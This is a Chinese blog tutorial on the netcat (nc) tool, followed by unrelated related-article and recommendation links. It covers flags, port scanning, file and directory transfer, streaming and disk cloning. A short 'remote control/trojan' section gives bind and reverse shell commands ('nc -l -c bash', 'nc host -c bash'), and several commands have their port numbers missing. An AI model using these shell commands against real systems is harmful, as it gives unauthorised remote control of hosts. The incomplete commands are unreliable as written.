nc 安装
    yum install -y nc
参数:

 Command Summary:
- Use IPv4
- Use IPv6
-D Enable the debug socket option
-d Detach from stdin #无图形界面使用后台模式
-h This help text #获取帮助信息
-i secs Delay interval for lines sent, ports scanned #延时设置,端口扫描时使用
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects #监听入站信息
-n Suppress name/port resolutions #后跟ip地址
-p port Specify local port for remote connects
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address #发送数据源地址
-T ToS Set IP Type of Service
-C Send CRLF as line-ending
-t Answer TELNET negotiation #以TELNET的形式应答入站请求
-U Use UNIX domain socket
-u UDP mode #使用UDP协议
-v Verbose #显示详细的输出内容
-w secs Timeout for connects and final net reads #超时秒数
-X proto Proxy protocol: "", "" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-z Zero-I/O mode [used for scanning] # I/O 模式,扫描时使用

nc作为客户端: 

     nc -nvz 10.104.11.107 -  默认探测TCP端口
nc -nvzu 10.104.11.107 - #探测UDP端口 

作用:
    传输文本信息

      nc -l    #客户端开启一个端口
netstat -pantu |grep #查看33端口是否打开
nc -l >ps.txt 监听到的信息输出到pa.txt

进行连接:

    nc -nvv 10.104.11.128
  ls -l |nc -nv 10.104.11.128 输出信息打印到10.104.11.128主机

传输文件

      A: nc  -l >.html
B: nc -nv 10.104.11.128 <.html

或者

    A:nc -l <ps.txt
  B: nc -nv 10.104.11.128 >ps.txt

 传输目录(先打包)

   A:tar -cvf - music/|nc -l
  B:nc -nv 10.104.11.128 |tar -xvf -

    加密传输文件(先加密在传送再解密)

     A:nc -l |mcrypt --flush -Fbqd(加密) -a rijndael- -m ecb >.mp3
B:mcrypt --flush -Fbq(解密) -a rijndael- -m ecb <.mp3 |nc -nv 10.104.11.128

  #对称加密两边密码要相同
    流媒体服务

    A: cat .mp3|nc -l
  B: nc -nv 10.104.11.107|mplayer -vo xll -cache - #指定媒体播放器进行播放

端口扫描

 nc -nvz 10.104.11.128

远程克隆硬盘

   A:nc -l |dd of =/dev/sda
B:dd if=/dev/sda |nc -nv 10.104.11.128

远程控制/木马

 正向:
A:nc -l -c bash
B:nc 10.104.11.128
反向:
A:nc -l
B:nc 10.104.11.128 -c bash

注:Windows用户把bash改成cmd
    缺点:缺乏加密与身份认证

nc工具详解的更多相关文章

  1. [转载]nc命令详解

    最近在搞反向连接,试来试去发现最好的工具还是nc.正好趁这个机会把nc的用法总结一下: 1.端口扫描: nc -vv ip port 例:nc -vv 192.168.1.1 5000 扫描192.1 ...

  2. Chrome开发者工具详解(5)-Application、Security、Audits面板

    Chrome开发者工具详解(5)-Application.Security.Audits面板 这篇文章是Chrome开发者工具详解这一系列的最后一篇,介绍DevTools最后的三个面板功能-Appli ...

  3. Chrome开发者工具详解(4)-Profiles面板

    Chrome开发者工具详解(4)-Profiles面板 如果上篇中的Timeline面板所提供的信息不能满足你的要求,你可以使用Profiles面板,利用这个面板你可以追踪网页程序的内存泄漏问题,进一 ...

  4. Chrome开发者工具详解(3)-Timeline面板

    Chrome开发者工具详解(3)-Timeline面板 注: 这一篇主要讲解面板Timeline,参考了Google的相关文档,主要用于公司内部技术分享.. Timeline面板 Timeline面板 ...

  5. Chrome开发者工具详解(2)-Network面板

    Chrome开发者工具详解(2)-Network面板 注: 这一篇主要讲解面板Network,参考了Google的相关文档,主要用于公司内部技术分享. Chrome开发者工具面板 面板上包含了Elem ...

  6. Chrome开发者工具详解(1)-Elements、Console、Sources面板

    Chrome开发者工具详解(1)-Elements.Console.Sources面板 Chrome开发者工具面板 面板上包含了Elements面板.Console面板.Sources面板.Netwo ...

  7. oracle tkprof 工具详解

    oracle  tkprof 工具详解 今天是2013-09-26,进行tkprof工具使用学习,在此记录一下笔记: 一)查看需要跟踪会话信息: select s.sid,s.serial#,s.us ...

  8. [转帖]前端-chromeF12 谷歌开发者工具详解 Network篇

    前端-chromeF12 谷歌开发者工具详解 Network篇 https://blog.csdn.net/qq_39892932/article/details/82493922 blog 也是原作 ...

  9. [转帖]前端-chromeF12 谷歌开发者工具详解 Sources篇

    前端-chromeF12 谷歌开发者工具详解 Sources篇 原贴地址:https://blog.csdn.net/qq_39892932/article/details/82498748 cons ...

随机推荐

  1. Executor线程池

    Executor线程池框架: 使用线程池的优点: 1.重用存在的线程 2.减少对象创建.消亡的开销 3.性能佳 4.可有效控制最大并发线程数,提高系统资源的使用率 5.避免过多资源竞争,避免堵塞 6. ...

  2. java Swing 练习

    import javax.swing.JFrame; public class Swingtest { static final int WIDTH = 500; static final int H ...

  3. R: 聚类分析

    判别与聚类的比较: 聚类分析和判别分析有相似的作用,都是起到分类的作用. 判别分析是已知分类然后总结出判别规则,是一种有指导的学习: 聚类分析则是有了一批样本,不知道它们的分类,甚至连分成几类也不知道 ...

  4. scau 2015寒假训练

    并不是很正规的.每个人自愿参与自愿退出,马哥找题(马哥超nice么么哒). 放假第一周与放假结束前一周 2015-01-26 http://acm.hust.edu.cn/vjudge/contest ...

  5. clone方法详解

    http://blog.csdn.net/zhangjg_blog/article/details/18369201/

  6. POJ 2836 Rectangular Covering (状压DP)

    题意:平面上有 n (2 ≤ n ≤ 15) 个点,现用平行于坐标轴的矩形去覆盖所有点,每个矩形至少盖两个点,矩形面积不可为0,求这些矩形的最小面积. 析:先预处理所有的矩形,然后dp[s] 表示 状 ...

  7. 2019年第十届蓝桥杯省赛-糖果(一维状压dp)

    看到20的数据量很容易想到状压dp. 开1<<20大小的数组来记录状态,枚举n个糖包,将其放入不同状态中(类似01背包思想) 时间复杂度O(n*(2^20)). import java.u ...

  8. tableView 的协议方法

    需遵守协议 UITableViewDataSource, UITableViewDelegate,并设置代理 UITableViewDelegate 继承自 UIScrollViewDelegate ...

  9. 对MySQL性能影响较大的五类配置参数

    以下主要是对MySQL 性能影响关系紧密的五大配置参数的介绍. 一.      连接 连接通常来自Web 服务器,下面列出了一些与连接有关的参数,以及该如何设置它们. (一).             ...

  10. poj2947(高斯消元解同模方程组)

    题目链接:http://poj.org/problem?id=2947 题意:有n 种装饰物,m 个已知条件,每个已知条件的描述如下: p start enda1, a2......ap (1< ...